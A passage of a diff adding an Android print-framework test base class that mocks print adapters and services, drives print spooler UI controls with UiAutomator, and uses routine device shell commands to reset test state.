+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doCallRealMethod;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.graphics.pdf.PdfDocument;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.print.PageRange;
+import android.print.PrintAttributes;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintDocumentAdapter.LayoutResultCallback;
+import android.print.PrintDocumentAdapter.WriteResultCallback;
+import android.print.PrintDocumentInfo;
+import android.print.PrintManager;
+import android.print.PrinterId;
+import android.print.pdf.PrintedPdfDocument;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintJob;
+import android.provider.Settings;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
+import android.util.Log;
+import android.util.SparseArray;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runners.model.Statement;
+import org.mockito.InOrder;
+import org.mockito.stubbing.Answer;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * This is the base class for print tests.
+ */
+public abstract class BasePrintTest {
+ private static final String LOG_TAG = "BasePrintTest";
+
+ protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
+ protected static final String PRINT_JOB_NAME = "Test";
+ static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
+
+ private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
+ private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
+ private static final String COMMAND_LIST_ENABLED_IME_COMPONENTS = "ime list -s";
+ private static final String COMMAND_PREFIX_ENABLE_IME = "ime enable ";
+ private static final String COMMAND_PREFIX_DISABLE_IME = "ime disable ";
+ private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
+ private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
+
+ private static final AtomicInteger sLastTestID = new AtomicInteger();
+ private int mTestId;
+ private PrintDocumentActivity mActivity;
+
+ private static String sDisabledPrintServicesBefore;
+
+ private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
+
+ public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
+
+ /**
+ * Return the UI device
+ *
+ * @return the UI device
+ */
+ public UiDevice getUiDevice() {
+ return UiDevice.getInstance(getInstrumentation());
+ }
+
+ private CallCounter mCancelOperationCounter;
+ private CallCounter mLayoutCallCounter;
+ private CallCounter mWriteCallCounter;
+ private CallCounter mWriteCancelCallCounter;
+ private CallCounter mStartCallCounter;
+ private CallCounter mFinishCallCounter;
+ private CallCounter mPrintJobQueuedCallCounter;
+ private CallCounter mCreateSessionCallCounter;
+ private CallCounter mDestroySessionCallCounter;
+ private CallCounter mDestroyActivityCallCounter = new CallCounter();
+ private CallCounter mCreateActivityCallCounter = new CallCounter();
+
+ private static String[] sEnabledImes;
+
+ private static String[] getEnabledImes() throws IOException {
+ List<String> imeList = new ArrayList<>();
+
+ ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+ .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
+ try (BufferedReader reader = new BufferedReader(
+ new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
+
+ String line;
+ while ((line = reader.readLine()) != null) {
+ imeList.add(line);
+ }
+ }
+
+ String[] imeArray = new String[imeList.size()];
+ imeList.toArray(imeArray);
+
+ return imeArray;
+ }
+
+ private static void disableImes() throws Exception {
+ sEnabledImes = getEnabledImes();
+ for (String ime : sEnabledImes) {
+ String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
+ SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
+ }
+ }
+
+ private static void enableImes() throws Exception {
+ for (String ime : sEnabledImes) {
+ String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
+ SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
+ }
+ sEnabledImes = null;
+ }
+
+ protected static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ @BeforeClass
+ public static void setUpClass() throws Exception {
+ Log.d(LOG_TAG, "setUpClass()");
+
+ Instrumentation instrumentation = getInstrumentation();
+
+ // Make sure we start with a clean slate.
+ Log.d(LOG_TAG, "clearPrintSpoolerData()");
+ clearPrintSpoolerData();
+ Log.d(LOG_TAG, "disableImes()");
+ disableImes();
+ Log.d(LOG_TAG, "disablePrintServices()");
+ disablePrintServices(instrumentation.getTargetContext().getPackageName());
+
+ // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
+ // Dexmaker is used by mockito.
+ System.setProperty("dexmaker.dexcache", instrumentation
+ .getTargetContext().getCacheDir().getPath());
+
+ Log.d(LOG_TAG, "setUpClass() done");
+ }
+
+ /**
+ * Disable all print services beside the ones we want to leave enabled.
+ *
+ * @param packageToLeaveEnabled The package of the services to leave enabled.
+ */
+ private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
+ throws IOException {
+ Instrumentation instrumentation = getInstrumentation();
+
+ sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
+ "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
+
+ Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
+ List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
+ .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
+
+ StringBuilder builder = new StringBuilder();
+ for (ResolveInfo service : installedServices) {
+ if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
+ continue;
+ }
+ if (builder.length() > 0) {
+ builder.append(":");
+ }
+ builder.append(new ComponentName(service.serviceInfo.packageName,
+ service.serviceInfo.name).flattenToString());
+ }
+
+ SystemUtil.runShellCommand(instrumentation, "settings put secure "
+ + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
+ }
+
+ /**
+ * Revert {@link #disablePrintServices(String)}
+ */
+ private static void enablePrintServices() throws IOException {
+ SystemUtil.runShellCommand(getInstrumentation(),
+ "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
+ + sDisabledPrintServicesBefore);
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(LOG_TAG, "setUp()");
+
+ assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_PRINTING));
+
+ // Initialize the latches.
+ Log.d(LOG_TAG, "init counters");
+ mCancelOperationCounter = new CallCounter();
+ mLayoutCallCounter = new CallCounter();
+ mStartCallCounter = new CallCounter();
+ mFinishCallCounter = new CallCounter();
+ mWriteCallCounter = new CallCounter();
+ mWriteCancelCallCounter = new CallCounter();
+ mFinishCallCounter = new CallCounter();
+ mPrintJobQueuedCallCounter = new CallCounter();
+ mCreateSessionCallCounter = new CallCounter();
+ mDestroySessionCallCounter = new CallCounter();
+
+ mTestId = sLastTestID.incrementAndGet();
+ sIdToTest.put(mTestId, this);
+
+ // Create the activity if needed
+ if (!mShouldStartActivityRule.mNoActivity) {
+ createActivity();
+ }
+
+ Log.d(LOG_TAG, "setUp() done");
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ Log.d(LOG_TAG, "tearDown()");
+
+ finishActivity();
+
+ sIdToTest.remove(mTestId);
+
+ Log.d(LOG_TAG, "tearDown() done");
+ }
+
+ @AfterClass
+ public static void tearDownClass() throws Exception {
+ Log.d(LOG_TAG, "tearDownClass()");
+
+ Instrumentation instrumentation = getInstrumentation();
+
+ Log.d(LOG_TAG, "enablePrintServices()");
+ enablePrintServices();
+
+ Log.d(LOG_TAG, "enableImes()");
+ enableImes();
+
+ // Make sure the spooler is cleaned, this also un-approves all services
+ Log.d(LOG_TAG, "clearPrintSpoolerData()");
+ clearPrintSpoolerData();
+
+ SystemUtil.runShellCommand(instrumentation, "settings put secure "
+ + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
+
+ Log.d(LOG_TAG, "tearDownClass() done");
+ }
+
+ protected android.print.PrintJob print(@NonNull final PrintDocumentAdapter adapter,
+ final PrintAttributes attributes) {
+ android.print.PrintJob[] printJob = new android.print.PrintJob[1];
+ // Initiate printing as if coming from the app.
+ getInstrumentation().runOnMainSync(() -> {
+ PrintManager printManager = (PrintManager) getActivity()
+ .getSystemService(Context.PRINT_SERVICE);
+ printJob[0] = printManager.print("Print job", adapter, attributes);
+ });
+
+ return printJob[0];
+ }
+
+ protected void print(PrintDocumentAdapter adapter) {
+ print(adapter, (PrintAttributes) null);
+ }
+
+ protected void print(PrintDocumentAdapter adapter, String printJobName) {
+ print(adapter, printJobName, null);
+ }
+
+ /**
+ * Start printing
+ *
+ * @param adapter Adapter supplying data to print
+ * @param printJobName The name of the print job
+ */
+ protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
+ @Nullable PrintAttributes attributes) {
+ // Initiate printing as if coming from the app.
+ getInstrumentation()
+ .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
+ attributes));
+ }
+
+ protected void onCancelOperationCalled() {
+ mCancelOperationCounter.call();
+ }
+
+ public void onStartCalled() {
+ mStartCallCounter.call();
+ }
+
+ protected void onLayoutCalled() {
+ mLayoutCallCounter.call();
+ }
+
+ protected int getWriteCallCount() {
+ return mWriteCallCounter.getCallCount();
+ }
+
+ protected void onWriteCalled() {
+ mWriteCallCounter.call();
+ }
+
+ protected void onWriteCancelCalled() {
+ mWriteCancelCallCounter.call();
+ }
+
+ protected void onFinishCalled() {
+ mFinishCallCounter.call();
+ }
+
+ protected void onPrintJobQueuedCalled() {
+ mPrintJobQueuedCallCounter.call();
+ }
+
+ protected void onPrinterDiscoverySessionCreateCalled() {
+ mCreateSessionCallCounter.call();
+ }
+
+ protected void onPrinterDiscoverySessionDestroyCalled() {
+ mDestroySessionCallCounter.call();
+ }
+
+ protected void waitForCancelOperationCallbackCalled() {
+ waitForCallbackCallCount(mCancelOperationCounter, 1,
+ "Did not get expected call to onCancel for the current operation.");
+ }
+
+ protected void waitForPrinterDiscoverySessionCreateCallbackCalled() {
+ waitForCallbackCallCount(mCreateSessionCallCounter, 1,
+ "Did not get expected call to onCreatePrinterDiscoverySession.");
+ }
+
+ public void waitForPrinterDiscoverySessionDestroyCallbackCalled(int count) {
+ waitForCallbackCallCount(mDestroySessionCallCounter, count,
+ "Did not get expected call to onDestroyPrinterDiscoverySession.");
+ }
+
+ protected void waitForServiceOnPrintJobQueuedCallbackCalled(int count) {
+ waitForCallbackCallCount(mPrintJobQueuedCallCounter, count,
+ "Did not get expected call to onPrintJobQueued.");
+ }
+
+ protected void waitForAdapterStartCallbackCalled() {
+ waitForCallbackCallCount(mStartCallCounter, 1,
+ "Did not get expected call to start.");
+ }
+
+ protected void waitForAdapterFinishCallbackCalled() {
+ waitForCallbackCallCount(mFinishCallCounter, 1,
+ "Did not get expected call to finish.");
+ }
+
+ protected void waitForLayoutAdapterCallbackCount(int count) {
+ waitForCallbackCallCount(mLayoutCallCounter, count,
+ "Did not get expected call to layout.");
+ }
+
+ public void waitForWriteAdapterCallback(int count) {
+ waitForCallbackCallCount(mWriteCallCounter, count, "Did not get expected call to write.");
+ }
+
+ protected void waitForWriteCancelCallback(int count) {
+ waitForCallbackCallCount(mWriteCancelCallCounter, count,
+ "Did not get expected cancel of write.");
+ }
+
+ private static void waitForCallbackCallCount(CallCounter counter, int count, String message) {
+ try {
+ counter.waitForCount(count, OPERATION_TIMEOUT_MILLIS);
+ } catch (TimeoutException te) {
+ fail(message);
+ }
+ }
+
+ /**
+ * Indicate the print activity was created.
+ */
+ static void onActivityCreateCalled(int testId, PrintDocumentActivity activity) {
+ synchronized (sIdToTest) {
+ BasePrintTest test = sIdToTest.get(testId);
+ if (test != null) {
+ test.mActivity = activity;
+ test.mCreateActivityCallCounter.call();
+ }
+ }
+ }
+
+ /**
+ * Indicate the print activity was destroyed.
+ */
+ static void onActivityDestroyCalled(int testId) {
+ synchronized (sIdToTest) {
+ BasePrintTest test = sIdToTest.get(testId);
+ if (test != null) {
+ test.mDestroyActivityCallCounter.call();
+ }
+ }
+ }
+
+ private void finishActivity() {
+ Activity activity = mActivity;
+
+ if (activity != null) {
+ if (!activity.isFinishing()) {
+ activity.finish();
+ }
+
+ while (!activity.isDestroyed()) {
+ int creates = mCreateActivityCallCounter.getCallCount();
+ waitForCallbackCallCount(mDestroyActivityCallCounter, creates,
+ "Activity was not destroyed");
+ }
+ }
+ }
+
+ /**
+ * Get the number of ties the print activity was destroyed.
+ *
+ * @return The number of onDestroy calls on the print activity.
+ */
+ protected int getActivityDestroyCallbackCallCount() {
+ return mDestroyActivityCallCounter.getCallCount();
+ }
+
+ /**
+ * Get the number of ties the print activity was created.
+ *
+ * @return The number of onCreate calls on the print activity.
+ */
+ private int getActivityCreateCallbackCallCount() {
+ return mCreateActivityCallCounter.getCallCount();
+ }
+
+ /**
+ * Wait until create was called {@code count} times.
+ *
+ * @param count The number of create calls to expect.
+ */
+ private void waitForActivityCreateCallbackCalled(int count) {
+ waitForCallbackCallCount(mCreateActivityCallCounter, count,
+ "Did not get expected call to create.");
+ }
+
+ /**
+ * Reset all counters.
+ */
+ public void resetCounters() {
+ mCancelOperationCounter.reset();
+ mLayoutCallCounter.reset();
+ mWriteCallCounter.reset();
+ mWriteCancelCallCounter.reset();
+ mStartCallCounter.reset();
+ mFinishCallCounter.reset();
+ mPrintJobQueuedCallCounter.reset();
+ mCreateSessionCallCounter.reset();
+ mDestroySessionCallCounter.reset();
+ mDestroyActivityCallCounter.reset();
+ mCreateActivityCallCounter.reset();
+ }
+
+ /**
+ * Wait until the message is shown that indicates that a printer is unavailable.
+ *
+ * @throws Exception If anything was unexpected.
+ */
+ protected void waitForPrinterUnavailable() throws Exception {
+ final String printerUnavailableMessage =
+ getPrintSpoolerString("print_error_printer_unavailable");
+
+ UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/message"));
+ if (!message.getText().equals(printerUnavailableMessage)) {
+ throw new Exception("Wrong message: " + message.getText() + " instead of "
+ + printerUnavailableMessage);
+ }
+ }
+
+ protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
+ try {
+ long delay = 1;
+ while (true) {
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+ .resourceId("com.android.printspooler:id/destination_spinner"));
+
+ destinationSpinner.click();
+ getUiDevice().waitForIdle();
+
+ // Give spinner some time to expand
+ try {
+ Thread.sleep(delay);
+ } catch (InterruptedException e) {
+ // ignore
+ }
+
+ // try to select printer
+ UiObject printerOption = uiDevice.findObject(
+ new UiSelector().text(printerName));
+ printerOption.click();
+ } catch (UiObjectNotFoundException e) {
+ Log.e(LOG_TAG, "Could not select printer " + printerName, e);
+ }
+
+ getUiDevice().waitForIdle();
+
+ if (!printerName.equals("All printers…")) {
+ // Make sure printer is selected
+ if (getUiDevice().hasObject(By.text(printerName))) {
+ break;
+ } else {
+ if (delay <= OPERATION_TIMEOUT_MILLIS) {
+ Log.w(LOG_TAG, "Cannot find printer " + printerName + ", retrying.");
+ delay *= 2;
+ } else {
+ throw new UiObjectNotFoundException(
+ "Could find printer " + printerName
+ + " even though we retried");
+ }
+ }
+ } else {
+ break;
+ }
+ }
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+ UiObject button;
+ if (confirm) {
+ button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
+ } else {
+ button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
+ }
+ button.click();
+ }
+
+ protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
+ IOException {
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/orientation_spinner"));
+ orientationSpinner.click();
+ UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
+ orientationOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ public String getOrientation() throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/orientation_spinner"));
+ return orientationSpinner.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/paper_size_spinner"));
+ mediaSizeSpinner.click();
+ UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
+ mediaSizeOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/color_spinner"));
+ colorSpinner.click();
+ UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
+ colorOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ public String getColor() throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/color_spinner"));
+ return colorSpinner.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/duplex_spinner"));
+ duplexSpinner.click();
+ UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
+ duplexOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/copies_edittext"));
+ copies.setText(Integer.valueOf(newCopies).toString());
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected String getCopies() throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/copies_edittext"));
+ return copies.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
+ assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
+ }
+
+ public void clickPrintButton() throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/print_button"));
+ printButton.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
+ try {
+ UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/action_button"));
+ retryButton.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
+ }
+
+ public void dumpWindowHierarchy() throws IOException {
+ ByteArrayOutputStream os = new ByteArrayOutputStream();
+ getUiDevice().dumpWindowHierarchy(os);
+
+ Log.w(LOG_TAG, "Window hierarchy:");
+ for (String line : os.toString("UTF-8").split("\n")) {
+ Log.w(LOG_TAG, line);
+ }
+ }
+
+ protected PrintDocumentActivity getActivity() {
+ return mActivity;
+ }
+
+ protected void createActivity() throws IOException {
+ Log.d(LOG_TAG, "createActivity()");
+
+ int createBefore = getActivityCreateCallbackCallCount();
+
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.putExtra(TEST_ID, mTestId);
+
+ Instrumentation instrumentation = getInstrumentation();
+
+ // Unlock screen.
+ SystemUtil.runShellCommand(instrumentation, "input keyevent KEYCODE_WAKEUP");
+
+ intent.setClassName(instrumentation.getTargetContext().getPackageName(),
+ PrintDocumentActivity.class.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ instrumentation.startActivitySync(intent);
+
+ waitForActivityCreateCallbackCalled(createBefore + 1);
+ }
+
+ protected void openPrintOptions() throws UiObjectNotFoundException {
+ UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/expand_collapse_handle"));
+ expandHandle.click();
+ }
+
+ protected void openCustomPrintOptions() throws UiObjectNotFoundException {
+ UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/more_options_button"));
+ expandHandle.click();
+ }
+
+ protected static void clearPrintSpoolerData() throws Exception {
+ if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_PRINTING)) {
+ assertTrue("failed to clear print spooler data",
+ SystemUtil.runShellCommand(getInstrumentation(), String.format(
+ "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
+ .contains(PM_CLEAR_SUCCESS_OUTPUT));
+ }
+ }
+
+ protected void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
+ PrintAttributes oldAttributes, PrintAttributes newAttributes,
+ final boolean forPreview) {
+ inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
+ any(CancellationSignal.class), any(LayoutResultCallback.class), argThat(
+ new BaseMatcher<Bundle>() {
+ @Override
+ public boolean matches(Object item) {
+ Bundle bundle = (Bundle) item;
+ return forPreview == bundle.getBoolean(
+ PrintDocumentAdapter.EXTRA_PRINT_PREVIEW);
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ /* do nothing */
+ }
+ }));
+ }
+
+ protected PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
+ Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
+ // Create a mock print adapter.
+ PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
+ if (layoutAnswer != null) {
+ doAnswer(layoutAnswer).when(adapter).onLayout(any(PrintAttributes.class),
+ any(PrintAttributes.class), any(CancellationSignal.class),
+ any(LayoutResultCallback.class), any(Bundle.class));
+ }
+ if (writeAnswer != null) {
+ doAnswer(writeAnswer).when(adapter).onWrite(any(PageRange[].class),
+ any(ParcelFileDescriptor.class), any(CancellationSignal.class),
+ any(WriteResultCallback.class));
+ }
+ if (finishAnswer != null) {
+ doAnswer(finishAnswer).when(adapter).onFinish();
+ }
+ return adapter;
+ }
+
+ /**
+ * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
+ *
+ * @return The mock adapter
+ */
+ public @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
+ final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+ return createMockPrintDocumentAdapter(
+ invocation -> {
+ PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
+ printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+ LayoutResultCallback callback =
+ (LayoutResultCallback) invocation
+ .getArguments()[3];
+
+ callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+ .setPageCount(numPages).build(),
+ !oldAttributes.equals(printAttributes[0]));
+
+ oldAttributes = printAttributes[0];
+
+ onLayoutCalled();
+ return null;
+ }, invocation -> {
+ Object[] args = invocation.getArguments();
+ PageRange[] pages = (PageRange[]) args[0];
+ ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+ WriteResultCallback callback =
+ (WriteResultCallback) args[3];
+
+ writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+ fd.close();
+ callback.onWriteFinished(pages);
+
+ onWriteCalled();
+ return null;
+ }, invocation -> {
+ onFinishCalled();
+ return null;
+ });
+ }
+
+ @SuppressWarnings("unchecked")
+ protected static PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
+ Answer<Void> onStartPrinterDiscovery, Answer<Void> onStopPrinterDiscovery,
+ Answer<Void> onValidatePrinters, Answer<Void> onStartPrinterStateTracking,
+ Answer<Void> onRequestCustomPrinterIcon, Answer<Void> onStopPrinterStateTracking,
+ Answer<Void> onDestroy) {
+ PrinterDiscoverySessionCallbacks callbacks = mock(PrinterDiscoverySessionCallbacks.class);
+
+ doCallRealMethod().when(callbacks).setSession(any(StubbablePrinterDiscoverySession.class));
+ when(callbacks.getSession()).thenCallRealMethod();
+
+ if (onStartPrinterDiscovery != null) {
+ doAnswer(onStartPrinterDiscovery).when(callbacks).onStartPrinterDiscovery(
+ any(List.class));
+ }
+ if (onStopPrinterDiscovery != null) {
+ doAnswer(onStopPrinterDiscovery).when(callbacks).onStopPrinterDiscovery();
+ }
+ if (onValidatePrinters != null) {
+ doAnswer(onValidatePrinters).when(callbacks).onValidatePrinters(
+ any(List.class));
+ }
+ if (onStartPrinterStateTracking != null) {
+ doAnswer(onStartPrinterStateTracking).when(callbacks).onStartPrinterStateTracking(
+ any(PrinterId.class));
+ }
+ if (onRequestCustomPrinterIcon != null) {
+ doAnswer(onRequestCustomPrinterIcon).when(callbacks).onRequestCustomPrinterIcon(
+ any(PrinterId.class), any(CancellationSignal.class),
+ any(CustomPrinterIconCallback.class));
+ }
+ if (onStopPrinterStateTracking != null) {
+ doAnswer(onStopPrinterStateTracking).when(callbacks).onStopPrinterStateTracking(
+ any(PrinterId.class));
+ }
+ if (onDestroy != null) {
+ doAnswer(onDestroy).when(callbacks).onDestroy();
+ }
+
+ return callbacks;
+ }
+
+ protected PrintServiceCallbacks createMockPrintServiceCallbacks(
+ Answer<PrinterDiscoverySessionCallbacks> onCreatePrinterDiscoverySessionCallbacks,
+ Answer<Void> onPrintJobQueued, Answer<Void> onRequestCancelPrintJob) {
+ final PrintServiceCallbacks service = mock(PrintServiceCallbacks.class);
+
+ doCallRealMethod().when(service).setService(any(StubbablePrintService.class));
+ when(service.getService()).thenCallRealMethod();
+
+ if (onCreatePrinterDiscoverySessionCallbacks != null) {
+ doAnswer(onCreatePrinterDiscoverySessionCallbacks).when(service)
+ .onCreatePrinterDiscoverySessionCallbacks();
+ }
+ if (onPrintJobQueued != null) {
+ doAnswer(onPrintJobQueued).when(service).onPrintJobQueued(any(PrintJob.class));
+ }
+ if (onRequestCancelPrintJob != null) {
+ doAnswer(onRequestCancelPrintJob).when(service).onRequestCancelPrintJob(
+ any(PrintJob.class));
+ }
+
+ return service;
+ }
+
+ protected void writeBlankPages(PrintAttributes constraints, ParcelFileDescriptor output,
+ int fromIndex, int toIndex) throws IOException {
+ PrintedPdfDocument document = new PrintedPdfDocument(getActivity(), constraints);
+ final int pageCount = toIndex - fromIndex + 1;
+ for (int i = 0; i < pageCount; i++) {
+ PdfDocument.Page page = document.startPage(i);
+ document.finishPage(page);
+ }
+ FileOutputStream fos = new FileOutputStream(output.getFileDescriptor());
+ document.writeTo(fos);
+ fos.flush();
+ document.close();
+ }
+
+ protected void selectPages(String pages, int totalPages) throws Exception {
+ UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/range_options_spinner"));
+ pagesSpinner.click();
+
+ UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains(
+ getPrintSpoolerStringOneParam("template_page_range", totalPages)));
+ rangeOption.click();
+
+ UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/page_range_edittext"));
+ pagesEditText.setText(pages);
+
+ // Hide the keyboard.
+ getUiDevice().pressBack();
+ }
+
+ private static final class CallCounter {
+ private final Object mLock = new Object();
+
+ private int mCallCount;
+
+ public void call() {
+ synchronized (mLock) {
+ mCallCount++;
+ mLock.notifyAll();
+ }
